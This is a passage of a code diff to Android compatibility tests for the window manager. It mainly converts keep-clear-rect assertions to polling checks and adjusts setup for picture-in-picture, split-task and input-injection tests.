+    public void testSetMultipleKeepClearRectsTwoViews() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -150,7 +153,7 @@
 
         final List<Rect> expected = new ArrayList(TEST_KEEP_CLEAR_RECTS);
         expected.addAll(TEST_KEEP_CLEAR_RECTS_2);
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
@@ -169,25 +172,25 @@
     }
 
     @Test
-    public void testGetPreferKeepClearRectsSingleView() {
+    public void testGetPreferKeepClearRectsSingleView() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 60, 60);
         final View v = createTestViewInActivity(activity, viewBounds);
-        assertSameElements(EMPTY_LIST, v.getPreferKeepClearRects());
+        assertSameElementsEventually(EMPTY_LIST, () -> v.getPreferKeepClearRects());
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, v.getPreferKeepClearRects());
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v.getPreferKeepClearRects());
 
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS_2));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS_2, v.getPreferKeepClearRects());
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS_2, () -> v.getPreferKeepClearRects());
 
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(EMPTY_LIST));
-        assertSameElements(EMPTY_LIST, v.getPreferKeepClearRects());
+        assertSameElementsEventually(EMPTY_LIST, () -> v.getPreferKeepClearRects());
     }
 
     @Test
-    public void testGettersPreferKeepClearRectsTwoViews() {
+    public void testGettersPreferKeepClearRectsTwoViews() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -201,66 +204,72 @@
         });
 
         assertTrue(v1.isPreferKeepClear());
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, v2.getPreferKeepClearRects());
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v2.getPreferKeepClearRects());
 
         mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(false));
         assertFalse(v1.isPreferKeepClear());
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, v2.getPreferKeepClearRects());
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS, () -> v2.getPreferKeepClearRects());
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v1.setPreferKeepClear(true);
             v2.setPreferKeepClearRects(EMPTY_LIST);
         });
         assertTrue(v1.isPreferKeepClear());
-        assertSameElements(EMPTY_LIST, v2.getPreferKeepClearRects());
+        assertSameElementsEventually(EMPTY_LIST, () -> v2.getPreferKeepClearRects());
     }
 
     @Test
-    public void testSetPreferKeepClearCombinesWithMultipleRects() {
+    public void testSetPreferKeepClearCombinesWithMultipleRects() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 60, 60);
         final View v = createTestViewInActivity(activity, viewBounds);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
         final List<Rect> combinedRects = new ArrayList<>(TEST_KEEP_CLEAR_RECTS);
         combinedRects.add(viewBounds);
-        assertSameElements(combinedRects, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(combinedRects, () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(false));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testIgnoreKeepClearRectsFromGoneViews() {
+    public void testIgnoreKeepClearRectsFromGoneViews() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 60, 60);
         final View v = createTestViewInActivity(activity, viewBounds);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
-        assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.VISIBLE));
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setPreferKeepClear(false);
             v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
         });
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
-        assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.VISIBLE));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
 
         final Rect viewBounds2 = new Rect(60, 60, 90, 90);
         final View v2 = createTestViewInActivity(activity, viewBounds2);
@@ -268,36 +277,39 @@
 
         final List<Rect> expected = new ArrayList(TEST_KEEP_CLEAR_RECTS);
         expected.add(viewBounds2);
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setVisibility(View.GONE));
-        assertSameElements(Arrays.asList(viewBounds2), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds2),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setVisibility(View.VISIBLE);
             v2.setVisibility(View.GONE);
         });
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setVisibility(View.VISIBLE);
             v2.setVisibility(View.VISIBLE);
         });
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testIgnoreKeepClearRectsFromDetachedViews() {
+    public void testIgnoreKeepClearRectsFromDetachedViews() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 60, 60);
         final View v = createTestViewInActivity(activity, viewBounds);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> ((ViewGroup) v.getParent()).removeView(v));
-        assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
@@ -312,26 +324,22 @@
 
         final Rect viewBounds = new Rect(0, 0, 60, 60);
         final View v = createTestViewInActivity(activity, viewBounds);
-        assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setFocusable(true);
             v.requestFocus();
         });
 
-        PollingCheck.check("Expected focused view bounds as keep clear area",
-                preferKeepClearForFocusDelay + FOCUS_VIEW_CHECK_TIMEOUT,
-                () -> hasSameElements(Arrays.asList(viewBounds),
-                        getKeepClearRectsForActivity(activity)));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> v.setFocusable(false));
-        PollingCheck.check("Expected no keep clear areas after clearing focus, but found some",
-                preferKeepClearForFocusDelay + FOCUS_VIEW_CHECK_TIMEOUT,
-                () -> hasSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity)));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testKeepClearRectsGetTranslatedToWindowSpace() {
+    public void testKeepClearRectsGetTranslatedToWindowSpace() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -345,28 +353,31 @@
             expected.add(newRect);
         }
 
-        assertSameElements(expected, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(expected, () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testSetKeepClearRectsOnDisplaySingleWindow() {
+    public void testSetKeepClearRectsOnDisplaySingleWindow() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect keepClearRect = new Rect(0, 0, 25, 25);
         final View v = createTestViewInActivity(activity, keepClearRect);
         mTestSession.runOnMainSyncAndWait(() -> v.setPreferKeepClear(true));
-        assertSameElements(Arrays.asList(keepClearRect), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(keepClearRect),
+                () -> getKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setPreferKeepClear(false);
             v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
         });
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
 
         final List<Rect> expectedRectsInScreenSpace =
                 getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS, activity.getComponentName());
-        assertSameElements(expectedRectsInScreenSpace, getKeepClearRectsOnDefaultDisplay());
+        assertSameElementsEventually(expectedRectsInScreenSpace,
+                () -> getKeepClearRectsOnDefaultDisplay());
 
         activity.finishAndRemoveTask();
         assertTrue(Collections.disjoint(
@@ -375,14 +386,15 @@
     }
 
     @Test
-    public void testKeepClearRectsOnDisplayTwoWindows() {
+    public void testKeepClearRectsOnDisplayTwoWindows() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 25, 25);
         final View v1 = createTestViewInActivity(activity, viewBounds);
         mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
 
         final String title = "KeepClearRectsTestWindow";
         mTestSession.runOnMainSyncAndWait(() -> {
@@ -398,18 +410,20 @@
         });
         mWmState.waitAndAssertWindowSurfaceShown(title, true);
 
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity));
     }
 
     @Test
-    public void testKeepClearRectsOnDisplayTwoFullscreenActivities() {
+    public void testKeepClearRectsOnDisplayTwoFullscreenActivities() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity1 = mTestSession.getActivity();
 
         final Rect viewBounds = new Rect(0, 0, 25, 25);
         final View v1 = createTestViewInActivity(activity1, viewBounds);
         mTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
-        assertSameElements(Arrays.asList(viewBounds), getKeepClearRectsForActivity(activity1));
+        assertSameElementsEventually(Arrays.asList(viewBounds),
+                () -> getKeepClearRectsForActivity(activity1));
 
         final TestActivitySession<TranslucentTestActivity> translucentTestSession =
                 createManagedTestActivitySession();
@@ -419,18 +433,19 @@
 
         final View v2 = createTestViewInActivity(activity2);
         mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity2));
 
         mWmState.assertVisibility(activity1.getComponentName(), true);
         mWmState.assertVisibility(activity2.getComponentName(), true);
 
         // Since both activities are fullscreen, WM only takes the keep clear areas from the top one
-        assertSameElements(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS,
-                    activity2.getComponentName()), getKeepClearRectsOnDefaultDisplay());
+        assertSameElementsEventually(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS,
+                activity2.getComponentName()), () -> getKeepClearRectsOnDefaultDisplay());
     }
 
     @Test
-    public void testDisplayHasKeepClearRectsOnlyFromVisibleWindows() {
+    public void testDisplayHasKeepClearRectsOnlyFromVisibleWindows() throws Exception {
         final TestActivitySession<TranslucentTestActivity> translucentTestSession =
                 createManagedTestActivitySession();
         translucentTestSession.launchTestActivityOnDisplaySync(
@@ -440,24 +455,25 @@
         final Rect viewBounds = new Rect(0, 0, 25, 25);
         final View v1 = createTestViewInActivity(activity1, viewBounds);
         translucentTestSession.runOnMainSyncAndWait(() -> v1.setPreferKeepClear(true));
-        assertSameElements(getRectsInScreenSpace(Arrays.asList(viewBounds),
-                                                 activity1.getComponentName()),
-                           getKeepClearRectsOnDefaultDisplay());
+        assertSameElementsEventually(getRectsInScreenSpace(Arrays.asList(viewBounds),
+                activity1.getComponentName()), () -> getKeepClearRectsOnDefaultDisplay());
 
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity2 = mTestSession.getActivity();
         final View v2 = createTestViewInActivity(activity2);
         mTestSession.runOnMainSyncAndWait(() -> v2.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity2));
 
         mWmState.waitAndAssertVisibilityGone(activity1.getComponentName());
         mWmState.assertVisibility(activity2.getComponentName(), true);
 
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity2));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity2));
     }
 
     @Test
-    public void testDisplayHasKeepClearAreasFromTwoActivitiesInSplitscreen() {
+    public void testDisplayHasKeepClearAreasFromTwoActivitiesInSplitscreen() throws Exception {
         assumeTrue("Skipping test: no split multi-window support",
                 supportsSplitScreenMultiWindow());
 
@@ -486,19 +502,19 @@
         mWmState.assertVisibility(KEEP_CLEAR_RECTS_ACTIVITY, true);
         mWmState.assertVisibility(KEEP_CLEAR_RECTS_ACTIVITY2, true);
 
-        assertSameElements(TEST_KEEP_CLEAR_RECTS,
-                           getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY));
-        assertSameElements(TEST_KEEP_CLEAR_RECTS_2,
-                           getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY2));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS_2,
+                () -> getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY2));
 
         final List<Rect> expected = new ArrayList();
         expected.addAll(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS, KEEP_CLEAR_RECTS_ACTIVITY));
         expected.addAll(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS_2, KEEP_CLEAR_RECTS_ACTIVITY2));
-        assertSameElements(expected, getKeepClearRectsOnDefaultDisplay());
+        assertSameElementsEventually(expected, () -> getKeepClearRectsOnDefaultDisplay());
     }
 
     @Test
-    public void testUnrestrictedKeepClearRects() {
+    public void testUnrestrictedKeepClearRects() throws Exception {
         mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
         final TestActivity activity = mTestSession.getActivity();
 
@@ -507,15 +523,18 @@
             v.setUnrestrictedPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
         });
 
-        assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
-        assertSameElements(EMPTY_LIST, getUnrestrictedKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST,
+                () -> getUnrestrictedKeepClearRectsForActivity(activity));
 
         mTestSession.runOnMainSyncAndWait(() -> {
             v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
         });
 
-        assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
-        assertSameElements(EMPTY_LIST, getUnrestrictedKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+                () -> getKeepClearRectsForActivity(activity));
+        assertSameElementsEventually(EMPTY_LIST,
+                () -> getUnrestrictedKeepClearRectsForActivity(activity));
     }
 
     private View createTestViewInActivity(TestActivity activity) {
@@ -588,10 +607,11 @@
         return result;
     }
 
-    private static <T> void assertSameElements(List<T> expected, List<T> actual) {
-        if (!hasSameElements(expected, actual)) {
-            assertEquals(expected, actual);
-        }
+    private static <T> void assertSameElementsEventually(List<T> expected, Callable<List<T>> actual)
+            throws Exception {
+        PollingCheck.check("Lists do not have the same elements.",
+                SAME_ELEMENT_ASSERTION_TIMEOUT,
+                () -> hasSameElements(expected, actual.call()));
     }
 
     private static <T> boolean hasSameElements(List<T> fst, List<T> snd) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index dbfe7e9..7182add 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1429,15 +1429,15 @@
     public void testDisplayMetricsPinUnpin() {
         separateTestJournal();
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
-        final int defaultWindowingMode = mWmState
-                .getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
-        final SizeInfo initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY);
-        final Rect initialAppBounds = getAppBounds(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY);
+        int defaultWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
+        final SizeInfo initialSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
+        final Rect initialAppBounds = getAppBounds(PIP_ACTIVITY);
         assertNotNull("Must report display dimensions", initialSizes);
         assertNotNull("Must report app bounds", initialAppBounds);
 
         separateTestJournal();
-        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
         // Wait for animation complete since we are comparing bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         final SizeInfo pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
@@ -1506,6 +1506,11 @@
         launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
         assertPinnedStackDoesNotExist();
 
+        int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
+        // Skip the test if freeform, since desktops may manually request PIP immediately after
+        // the test activity launch.
+        assumeFalse(windowingMode == WINDOWING_MODE_FREEFORM);
+
         // Launch a regular activity with FLAG_ACTIVITY_NO_USER_ACTION and
         // ensure that there is no pinned stack.
         launchActivityWithNoUserAction(TEST_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 7762a00..4958cc1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -559,6 +559,7 @@
 
     @Test
     public void testLaunchAppWithIconOptions() throws Exception {
+        assumeFalse(isLeanBack());
         final Bundle bundle = ActivityOptions.makeBasic()
                 .setSplashScreenStyle(SplashScreen.SPLASH_SCREEN_STYLE_ICON).toBundle();
         TestJournalProvider.TestJournalContainer.start();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index ace9d8f..4b7242e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -23,6 +23,7 @@
 import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
 import static android.server.wm.WindowManagerState.STATE_STARTED;
 import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -497,8 +498,11 @@
      */
     @Test
     public void testTranslucentAdjacentTaskFragment() {
-        // Create ActivityB on top of ActivityA
-        Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class);
+        // Create ActivityB on top of ActivityA.
+        // Make sure ActivityB is launched into the same task as ActivityA so that we can reparent
+        // it to TaskFragment in the same task later.
+        Activity activityB = startActivity(ActivityB.class, DEFAULT_DISPLAY, true /* hasFocus */,
+                WINDOWING_MODE_FULLSCREEN, mOwnerActivity.getTaskId());
         waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
         waitAndAssertActivityState(mActivityA, STATE_STOPPED,
                 "Activity A is occluded by Activity B, so it must be stopped.");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 45f4dd9..7cbd32e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -68,7 +68,7 @@
 
         final Context context = InstrumentationRegistry.getInstrumentation().getContext();
         final String output = runShellCommand(
-                "pm create-user --user-type android.os.usertype.profile.MANAGED --profileOf "
+                "pm create-user --user-type android.os.usertype.profile.CLONE --profileOf "
                         + context.getUserId() + " user2");
         sSecondUserId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
         if (sSecondUserId == 0) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 024ea17..283a1f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -61,8 +61,6 @@
 
 import androidx.annotation.NonNull;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 import org.junit.Test;
 
 import java.util.ArrayList;
@@ -81,9 +79,7 @@
     private static void sendKey(int action, int keyCode, int displayId) {
         final KeyEvent keyEvent = new KeyEvent(action, keyCode);
         keyEvent.setDisplayId(displayId);
-        SystemUtil.runWithShellPermissionIdentity(() -> {
-            getInstrumentation().sendKeySync(keyEvent);
-        });
+        getInstrumentation().sendKeySync(keyEvent);
     }
 
     private static void sendAndAssertTargetConsumedKey(InputTargetActivity target, int keyCode,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index 322355f..2e29a74 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -73,12 +73,11 @@
 import java.util.ArrayList;
 import java.util.Random;
 import java.util.Set;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeoutException;
 
 /**
  * Ensure moving windows and tapping is done synchronously.
@@ -728,9 +727,10 @@
         eventHover.setSource(InputDevice.SOURCE_MOUSE);
         try {
             mInstrumentation.sendPointerSync(eventHover);
-            fail("Not allowed to inject event to the window from another process.");
-        } catch (SecurityException e) {
-            // Should not be allowed to inject event to the window from another process.
+            fail("Not allowed to inject to windows owned by another uid from Instrumentation.");
+        } catch (RuntimeException e) {
+            // Should not be allowed to inject event to a window owned by another uid from the
+            // Instrumentation class.
         }
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 20bce66..229104c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -64,6 +64,7 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.WindowUtil;
 
+import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 
@@ -83,11 +84,13 @@
 
     private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
 
+    @Ignore("b/168446060")
     @Test
     public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(false /* useControlApi */);
     }
 
+    @Ignore("b/168446060")
     @Test
     public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
         runTest(true /* useControlApi */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index aa19b08..65465b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -62,6 +62,7 @@
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
+import android.view.InputDevice;
 import android.view.MotionEvent;
 import android.view.View;
 import android.view.ViewGroup;
@@ -77,7 +78,6 @@
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.mockime.ImeEventStream;
 import com.android.cts.mockime.ImeSettings;
 import com.android.cts.mockime.MockImeSession;
@@ -844,8 +844,10 @@
     }
 
     private void sendPointerSync(MotionEvent event) {
-        SystemUtil.runWithShellPermissionIdentity(
-                () -> getInstrumentation().sendPointerSync(event));
+        event.setSource(event.getSource() | InputDevice.SOURCE_CLASS_POINTER);
+        // Use UiAutomation to inject into TestActivity because it is started and owned by the
+        // Shell, which has a different uid than this instrumentation.
+        getInstrumentation().getUiAutomation().injectInputEvent(event, true);
     }
 
     private static class AnimationCallback extends WindowInsetsAnimation.Callback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index df3f9e3..7977030 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.app.ActivityTaskManager.INVALID_STACK_ID;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
